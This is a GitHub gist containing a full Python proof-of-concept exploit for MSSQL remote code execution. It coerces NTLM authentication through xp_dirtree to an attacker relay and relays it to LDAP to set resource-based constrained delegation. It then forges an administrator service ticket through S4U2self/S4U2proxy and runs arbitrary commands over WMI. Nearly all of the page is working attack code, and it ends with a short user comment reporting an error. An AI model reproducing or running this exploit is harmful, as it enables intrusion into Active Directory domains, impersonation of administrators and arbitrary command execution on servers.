Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
PoC MSSQL RCE exploit using Resource-Based Constrained Delegation
#!/usr/bin/env python
# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
# this is a rough PoC
# requirements for RCE:
# - the attacker needs to either have or create an object with a service principal name
# - the MSSQL server has to be running under the context of System/Network Service/a virtual account
# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts)
# - NTLM has to be in use
# notes on this PoC:
# - LDAPS relaying has not been implemented
# - a command line switch for doing the initial connection for LDAP has also not yet been implemented
# - mssql has to be listening on a TCP port
# - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool
# - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10;
# the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends
# on which account you're using, and the quickest check is to just try)
# - it's just a PoC
# - it probably has bugs
# - it might fry everything and wasn't written for production use
# - the author is not liable for how others use this code
import os
import sys
import string
import SimpleHTTPServer
import SocketServer
import base64
import random
import struct
import ConfigParser
import string
import argparse
import datetime
from time import sleep
from argparse import *
from threading import Thread
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import tds
from impacket.ldap import ldaptypes
from impacket.spnego import SPNEGO_NegTokenResp
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse
from impacket.krb5 import constants
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from binascii import hexlify, unhexlify
from struct import unpack
from ldap3.operation import bind
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM
from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
# adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py
class MSSQLCommand:
def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False):
self.target = target
self.port = port
self.username = username
self.password = password
self.domain = domain
self.windows_auth = windows
self.k = doKerberos
self.mssql_connection = None
self.conn = False
self.dc_ip = kdcHost
if hashes:
self.hashes = '00000000000000000000000000000000:%s' % hashes
else:
self.hashes = None
def run_command(self, command, show_output=False):
self.mssql_login()
if self.conn == True:
print "[*] executing relay trigger"
self.mssql_connection.sql_query(command)
if show_output == True:
self.mssql_connection.printReplies()
self.mssql_connection.printRows()
print "[+] mssql query complete"
else:
print "[!] mssql authentication failed"
self.mssql_connection.disconnect()
def mssql_login(self):
self.mssql_connection = tds.MSSQL(self.target, self.port)
self.mssql_connection.connect()
print "[*] logging in to mssql instance..."
try:
self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth)
except Exception, e:
print "[!] mssql authentication failed exception: " + str(e)
# checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account
class SetupAttack:
def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False):
self.username = username
self.domain = domain
self.dn = dn
self.machine_username = machine_username
self.machine_password = machine_password
self.encoded_password = None
self.server_hostname = server_hostname
self.dc_ip = dc_ip
self.use_ssl = use_ssl
self.ldap_connection = None
if nthash:
self.password = '00000000000000000000000000000000:%s' % nthash
else:
self.password = password
def get_unicode_password(self):
password = self.machine_password
self.encoded_password = '"{}"'.format(password).encode('utf-16-le')
def ldap_login(self):
print "[*] logging in to ldap server"
if self.use_ssl == True:
s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL)
else:
s = Server(self.dc_ip, port = 389, get_info = ALL)
domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login
try:
self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM)
if self.ldap_connection.bind() == True:
print "[+] ldap login as %s successful" % domain_user
except Exception, e:
print "[!] unable to connect: %s" % str(e)
sys.exit()
# I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5
def create_account(self):
if self.machine_username == '':
self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
if self.machine_username[-1:] != "$":
self.machine_username += "$"
if self.machine_password == '':
self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25))
self.get_unicode_password()
dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn)
dns_name = self.machine_username[:-1] + '.' + self.domain
self.ldap_connection.add(dn, attributes={
'objectClass':'Computer',
'SamAccountName': self.machine_username,
'userAccountControl': '4096',
'DnsHostName': dns_name,
'ServicePrincipalName': [
'HOST/' + dns_name,
'RestrictedKrbHost/' + dns_name,
'HOST/' + self.machine_username[:-1],
'RestrictedKrbHost/' + self.machine_username[:-1]
],
'unicodePwd':self.encoded_password
})
print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password)
def check_spn(self):
search_filter = '(samaccountname=%s)' % self.username
self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName'])
if self.ldap_connection.entries[0]['servicePrincipalName']:
return True
else:
return False
def execute(self):
self.ldap_login()
if self.check_spn():
print "[+] provided account has an SPN"
self.machine_username = self.username
self.machine_password = self.password
else:
self.create_account()
if self.server_hostname == '':
self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8))
# was going to add an ADIDNS A record but this script is already a bit long for a PoC
self.ldap_connection.unbind()
return self.machine_username, self.machine_password, self.server_hostname
class LDAPRelayClientException(Exception):
pass
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
class LDAPRelayClient:
def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''):
self.extendedSecurity = extendedSecurity
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.server = None
self.targetPort = 389
self.dc_ip = dc_ip
self.domain = domain
self.target = target
self.target_hostname = target_hostname
self.username = username
self.dn = dn
# rbcd attack stuff
def get_sid(self, ldap_connection, domain, target):
search_filter = "(sAMAccountName=%s)" % target
try:
ldap_connection.search(self.dn, search_filter, attributes = ['objectSid'])
target_sid_readable = ldap_connection.entries[0].objectSid
target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values)
except Exception, e:
print "[!] unable to to get SID of target: %s" % str(e)
return target_sid
def add_attribute(self, ldap_connection, user_sid):
# "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<sid>"
security_descriptor = (
"\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00"
"\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00"
"\xFF\x01\x0F\x00"
)
# build payload
payload = security_descriptor + user_sid
# build LDAP query
if self.target_hostname.endswith("$"): # assume computer account
dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1]
else:
dn_base = "CN=%s,CN=Users," % self.target_hostname
dn = dn_base + self.dn
print "[*] adding attribute to object %s..." % self.target_hostname
try:
if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}):
print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username)
else:
print "[!] unable to modify attribute"
except Exception, e:
print "[!] unable to assign attribute: %s" % str(e)
def killConnection(self):
if self.session is not None:
self.session.socket.close()
self.session = None
def initConnection(self):
print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort)
self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
def sendNegotiate(self, negotiateMessage):
negoMessage = NTLMAuthNegotiate()
negoMessage.fromString(negotiateMessage)
self.negotiateMessage = str(negoMessage)
with self.session.connection_lock:
if not self.session.sasl_in_progress:
self.session.sasl_in_progress = True
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
try:
sicily_packages = result['server_creds'].decode('ascii').split(';')
except KeyError:
raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result)
if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
return challenge
else:
raise LDAPRelayClientException('[!] server did not offer ntlm authentication')
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_negotiate_message(self):
return self.negotiateMessage
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
token = respToken2['ResponseToken']
print "unpacked response token: " + str(token)
else:
token = authenticateMessageBlob
with self.session.connection_lock:
self.authenticateMessageBlob = token
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
self.session.sasl_in_progress = False
if result['result'] == RESULT_SUCCESS:
self.session.bound = True
self.session.refresh_server_info()
print "[+] relay complete"
print "[*] running RBCD attack..."
user_sid = self.get_sid(self.session, self.domain, self.username)
self.add_attribute(self.session, user_sid)
return True, STATUS_SUCCESS
else:
print "result is failed"
if result['result'] == RESULT_STRONGER_AUTH_REQUIRED:
raise LDAPRelayClientException('[!] ldap signing is enabled')
return None, STATUS_ACCESS_DENIED
#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_authenticate_message(self):
return self.authenticateMessageBlob
#Placeholder function for ldap3
def parse_challenge_message(self, message):
pass
# todo
class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
def initConnection(self):
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
self.session.open(False)
return True
# adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py
class HTTPRelayServer(Thread):
class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
def __init__(self, server_address, RequestHandlerClass):
SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)
class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
_dc_ip = ''
_domain = ''
_target = ''
_target_hostname = ''
_username = ''
_dn = ''
def __init__(self, request, client_address, server):
self.protocol_version = 'HTTP/1.1'
self.challengeMessage = None
self.client = None
self.machineAccount = None
self.machineHashes = None
self.domainIp = None
self.authUser = None
print "[*] got connection from %s" % (client_address[0])
SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
def handle_one_request(self):
SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
def log_message(self, format, *args):
return
def do_REDIRECT(self):
rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
self.send_response(302)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Connection','close')
self.send_header('Location','/%s' % rstr)
self.send_header('Content-Length','0')
self.end_headers()
def do_OPTIONS(self):
messageType = 0
if self.headers.getheader('Authorization') is None:
self.do_AUTHHEAD(message = 'NTLM')
pass
else:
typeX = self.headers.getheader('Authorization')
try:
_, blob = typeX.split('NTLM')
token = base64.b64decode(blob.strip())
except:
self.do_AUTHHEAD()
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 1:
if not self.do_ntlm_negotiate(token):
self.do_REDIRECT()
elif messageType == 3:
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
print "[+] relaying account %s\\%s" % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))
if not self.do_ntlm_auth(token, authenticateMessage):
if authenticateMessage['user_name'] != '':
self.do_REDIRECT()
else:
#If it was an anonymous login, send 401
self.do_AUTHHEAD('NTLM')
else:
self.send_response(404)
self.send_header('WWW-Authenticate', 'NTLM')
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.send_header('Connection','close')
self.end_headers()
return
def do_AUTHHEAD(self, message = ''):
self.send_response(401)
self.send_header('WWW-Authenticate', message)
self.send_header('Content-type', 'text/html')
self.send_header('Content-Length','0')
self.end_headers()
# relay
def do_ntlm_negotiate(self,token):
try:
self.client = LDAPRelayClient(dc_ip=self._dc_ip, target=self._target, domain=self._domain, target_hostname=self._target_hostname, username=self._username, dn=self._dn)
self.client.initConnection()
clientChallengeMessage = self.client.sendNegotiate(token)
except Exception, e:
print "[*] connection to ldap server %s failed" % self._dc_ip
print str(e)
return False
self.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(clientChallengeMessage.getData()))
return True
def do_ntlm_auth(self,token,authenticateMessage):
client_session, errorCode = self.client.sendAuth(token)
if errorCode == STATUS_SUCCESS:
return client_session
else:
return False
def __init__(self, domain='', dc_ip='', username='', target='', target_hostname='', dn='', port=80):
Thread.__init__(self)
self.daemon = True
self.domain = domain
self.dc_ip = dc_ip
self.username = username
self.target = target
self.target_hostname = target_hostname
self.dn = dn
self.port = int(port)
def run(self):
httpd = self.HTTPServer(("", self.port), self.HTTPHandler)
self.HTTPHandler._dc_ip = self.dc_ip
self.HTTPHandler._domain = self.domain
self.HTTPHandler._username = self.username
self.HTTPHandler._target = self.target
self.HTTPHandler._target_hostname = self.target_hostname
self.HTTPHandler._dn = self.dn
thread = Thread(target=httpd.serve_forever)
thread.daemon = True
thread.start()
# by @agsolino and @elad_shamir see: https://github.com/SecureAuthCorp/impacket/pull/560
class GETST:
def __init__(self, target, password, domain, options):
self.__password = password
self.__user= target
self.__domain = domain
self.__aesKey = options.aesKey
self.__options = options
self.__kdcHost = options.dc_ip
self.__saveFileName = None
self.__lmhash = ''
self.__nthash = ''
if options.hashes is not None:
self.__lmhash = '00000000000000000000000000000000'
self.__nthash = options.hashes
def saveTicket(self, ticket, sessionKey):
print '[*] saving ticket: %s' % (self.__saveFileName + '.ccache')
ccache = CCache()
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(self.__saveFileName + '.ccache')
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
print '[*] requesting s4U2self'
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = 167
tgsReq['padata'][1]['padata-value'] = "3009a00703050010000000".decode("hex")
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
print '[+] s4u2self complete'
print '[*] requesting s4U2proxy'
r = sendReceive(message, self.__domain, None)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
print '[+] s4U2proxy complete'
return r, cipher, sessionKey, newSessionKey
def run(self):
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
print '[*] getting tgt for %s' % userName
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(self.__lmhash), unhexlify(self.__nthash),
self.__aesKey,
self.__kdcHost)
print '[*] impersonating %s' % self.__options.impersonate
tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey)
self.__saveFileName = 'evil'
self.saveTicket(tgs,oldSessionKey)
# adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
def wmi_exec(target, dc_ip, command):
dcom = DCOMConnection(target, oxidResolver=True, doKerberos=True, kdcHost=dc_ip)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
win32Process.Create(command, unicode('C:\\'), None)
dcom.disconnect()
except Exception, e:
print "[!] exception raised: %s" % str(e)
sys.exit()
if __name__ == '__main__':
parser = ArgumentParser(add_help = True, description = "MSSQL RCE PoC (@3xocyte and @elad_shamir)")
parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True)
parser.add_argument('-u', '--username', action="store", default='', help='valid domain username', required=True)
password_or_ntlm = parser.add_mutually_exclusive_group(required=True)
password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password')
password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash')
parser.add_argument('--mssql-port', action="store", default=1433, help='mssql server port')
parser.add_argument('--mssql-user', action="store", default='', help='mssql server username (if different from domain account)')
parser.add_argument('--mssql-pass', action="store", default='', help='mssql server password (if different from domain account)')
parser.add_argument('--machine-user', action="store", default='', help="machine account name (if provided domain account has no SPN and a machine account will be created)")
parser.add_argument('--machine-pass', action="store", default='', help="machine account password (if provided domain account has no SPN and a machine account will be created)")
parser.add_argument('--server-hostname', action="store", default='', help="hostname to use for the relaying server (ie, this machine); this should adhere to 'The Dot rule' to elicit NTLM authentication")
parser.add_argument('--server-port', action="store", default=80, help="port to use for the relaying server (ie, this machine)")
parser.add_argument('dc', help='ip address or hostname of dc')
parser.add_argument('target_hostname', help='target mssql server samaccountname')
parser.add_argument('target', help='target mssql server fqdn')
parser.add_argument('command', help='command to execute over WMI')
options = parser.parse_args()
print """
_| _| _|
_|_|_| _|_|_| _|_|_| _|_|_| _|_| _|_|_| _| _| _|_| _|
_| _| _| _| _| _| _|_| _|_|_|_| _| _| _| _| _|_|_|_| _|
_| _| _| _| _| _| _|_| _| _| _| _| _| _| _|
_|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _|
_|
_|
"""
print "mssql authenticated remote code execution exploit (@3xocyte and @elad_shamir) #shenanigans #wontfix\n"
# get dn
dn = ''
domain_parts = options.domain.split('.')
for i in domain_parts:
dn += 'DC=%s,' % i
dn = dn[:-1]
if '.' in options.server_hostname:
print '[!] server hostname contains periods and the NTLM relay may fail'
attack_setup = SetupAttack(username=options.username, domain=options.domain, password=options.password, nthash=options.nthash, dn=dn,
machine_username=options.machine_user, machine_password=options.machine_pass, server_hostname=options.server_hostname, dc_ip=options.dc, use_ssl=True)
spn_username, spn_password, server_hostname = attack_setup.execute()
print "[*] starting relay server on port %s" % options.server_port
s = HTTPRelayServer(domain = options.domain, dc_ip=options.dc, username=spn_username, target=options.target, target_hostname=options.target_hostname, dn=dn, port = options.server_port)
s.run()
sleep(2)
if options.mssql_user and options.mssql_pass:
print "[*] using provided mssql credentials"
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.mssql_user, password=options.mssql_pass, windows=False)
else:
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc)
mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port)
mssql_trigger.run_command(mssql_command)
print "[*] executing s4u2pwnage"
identity = '%s/%s:%s' % (options.domain, spn_username, spn_password)
spn = 'cifs/%s' % options.target
if spn_username == options.username and options.nthash:
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=options.nthash, impersonate='administrator', k=False, no_pass=False, spn=spn)
else:
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=None, impersonate='administrator', k=False, no_pass=False, spn=spn)
do_rbcd_attack = GETST(spn_username, spn_password, options.domain, rbcd_args)
do_rbcd_attack.run()
print '[*] loading ticket into environment'
cwd = os.getcwd()
ticket_location = "%s/evil.ccache" % (cwd)
os.chmod(ticket_location, 0700)
os.environ['KRB5CCNAME'] = ticket_location
command = 'cmd.exe /Q /c %s' % options.command
print '[*] executing "%s" over wmi' % command
wmi_exec(options.target, options.dc, command)
print "[+] complete"
@feedb

This comment has been minimized.

Copy link

feedb commented Jan 29, 2019

python bad_sequel.py dc-s MS-SQL 192.168.1.23 hostname -d DC -u myname -p mypass

ldap3.core.exceptions.LDAPSocketOpenError: invalid server address

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.